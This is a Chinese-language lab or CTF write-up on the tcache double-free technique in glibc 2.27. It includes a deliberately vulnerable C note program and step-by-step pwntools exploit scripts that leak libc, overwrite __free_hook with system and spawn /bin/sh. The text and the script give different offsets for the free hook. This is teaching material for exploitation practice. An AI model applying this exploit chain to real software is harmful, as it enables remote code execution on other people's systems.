Pwn-Tcache-bin-dup(Glibc 2.27)

2024-07-09

Pwn-Tcache bin dup Glibc 2.27

基本上跟Fastbin dup很像,但換成了Tcache

Glibc 2.27沒有檢查鍊表上第一個是不是現在要free掉的chunk,所以可以直接連續free兩次chunk不會有問題

另外注意,chunk fd指的是data

如果是glibc 2.28後加入了key會被寫成Tcache相關東西

流程

1
Chunk 1(malloc)

free掉chunk 1

1
Tcache -> Chunk 1

再free一次

1
Tcache -> Chunk 1 -> Chunk 1 -> Chunk 1 -> ...

malloc拿到chunk 1並改寫fd

1
Tcache -> Chunk 1 -> Pwn_chunk

malloc兩次就可以拿到你要寫的東西了

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <stdio.h>
#include <stdlib.h>

// Testing in libc-2.27
// gcc tcache_dup.c -o tcache_dup

char *g_ptrs;
int g_size;
int g_used;

void init()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
}

int read_num()
{
int num;

scanf("%d", &num);

return num;
}

void menu()
{
puts("=== Note System v0.087 ===");
puts("1) Create Note");
puts("2) Get Note");
puts("3) Set Note");
puts("4) Delete Note");
puts("5) Bye");
printf("# ");
}

void create()
{
int size;

printf("size:\n");
scanf("%d", &size);

g_ptrs = malloc(size);
g_size = size;
g_used = 1;
}

void get()
{
if (g_used) {
printf("g_ptrs: %s\n", g_ptrs);
}
}

void set()
{
if (g_used) {
printf("str:\n");
read(0, g_ptrs, g_size);
}
}

void delete()
{
if (g_ptrs) {
free(g_ptrs);
g_used = 0;
}
}

int main(void)
{
init();

char name[100];

puts("Name:");
read(0, name, 0x100);
printf("Hello, %s\n", name);

while(1) {
menu();
switch(read_num()) {
case 1:
create();
break;
case 2:
get();
break;
case 3:
set();
break;
case 4:
delete();
break;
case 5:
return 0;
default:
exit(1);
}
}

return 0;
}

分析

這邊踩了一個坑,就是我們使用的的docker Glibc雖然是2.27,但是2.27保護機制跟裸奔一樣,所以有patch上保護,在2.27-3Ubuntu1.3加入key機制,所以我這邊找了比較舊的libc來patch上

1
2
3
4
LD:
patchelf --set-interpreter ./ld-2.23.so tcachedup
LIBC:
patchelf --replace-needed libc.so.6 ./libc_32.so.6 tcachedup

首先先觀察一下,會發現這題跟原本很像,主要有兩個不同
第一個是這,這裡有BOF跟partial overwrite

1
2
3
4
5
char name[100];

puts("Name:");
read(0, name, 0x100);
printf("Hello, %s\n", name);

第二個不同是,原本的ptr array變成了變數,一次只能操作當前最新malloc的chunk

首先我們先leak libc,蓋0x78個a+一個\n會蓋到stack上的libc前面,printf會把它印出來,之後offset用動態抓扣出來

image
image

image
image

我們可以看到double free完後他變成了一個指向自己的循環

1
tcache bin -> chunk 1 -> chunk 1 -> ...

image
image

目前腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

DEBUG=input('open debug?(y/n)')
if DEBUG=='y':
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

r=process('./tcachedup')

if DEBUG=='y':
gdb.attach(r)

# leak libc

r.send(b'a'*0x78)
r.recvuntil(b'a'*0x78)

offset = 0x21b97

leak_libc=u64(r.recvline().strip().ljust(8,b'\0'))
libc_base=leak_libc-offset

print('NAUPINFO @ leak libc: ',hex(leak_libc))
print('NAUPINFO @ libc base: ',hex(libc_base))

# tcache dup

def create(size):
r.sendline(b'1')
r.sendline(str(size).encode())

def get():
r.sendline(b'2')
r.recvuntil(b'g_ptrs: ')
return r.recvline().strip()

def set(val):
r.sendline(b'3')
r.send(val)
def delete():
r.sendline(b'4')

create(0x30)
delete()
delete()
create(0x30)


r.interactive()

接下來malloc會拿到chunk 1
之後我們先找兩個東西的offset,free hook(0x3ebc30)跟system(0x4f440)

我們把malloc的fd改成free hook,如圖已經改寫成功,所以tcache bin變成

1
tcache bin -> chunk 1 -> free hook

image
image

create兩次拿到free hook,寫入system,之後直接malloc一塊,把記憶體寫成/bin/sh,這樣就會有一個free(ptr),ptr->/bin/sh

1
free("/bin/sh") -> (*__free_hook)("/bin/sh") -> system("/bin/sh")

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from time import *
from pwn import *

DEBUG=input('open debug?(y/n)')
if DEBUG=='y':
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

r=process('./tcachedup')

if DEBUG=='y':
gdb.attach(r)

# leak libc

r.send(b'a'*0x78)
r.recvuntil(b'a'*0x78)

offset = 0x21b97

leak_libc=u64(r.recvline().strip().ljust(8,b'\0'))
libc_base=leak_libc-offset

print('NAUPINFO @ leak libc: ',hex(leak_libc))
print('NAUPINFO @ libc base: ',hex(libc_base))

# tcache dup

def create(size):
sleep(0.1)
r.sendline(b'1')
r.sendline(str(size).encode())

def get():
sleep(0.1)
r.sendline(b'2')
r.recvuntil(b'g_ptrs: ')
return r.recvline().strip()

def set(val):
sleep(0.1)
r.sendline(b'3')
r.send(val)
def delete():
sleep(0.1)
r.sendline(b'4')

free_hook_offset = 0x3ed8e8
system_offset = 0x4f440

free_hook = free_hook_offset + libc_base
libc_system = system_offset + libc_base

#print('NAUPINFO @ free_hook: ',hex(free_hook))
#print('NAUPINFO @ system: ',hex(libc_system))


create(0x30)
delete()
delete()
create(0x30)

set(p64(free_hook))

create(0x30)
create(0x30)

set(p64(libc_system))
create(0x40)

r.sendline(b'3')
r.sendline(b'/bin/sh\0')
delete()

r.interactive()

備註: 可以加個sleep,這樣就不會送太快導致一些問題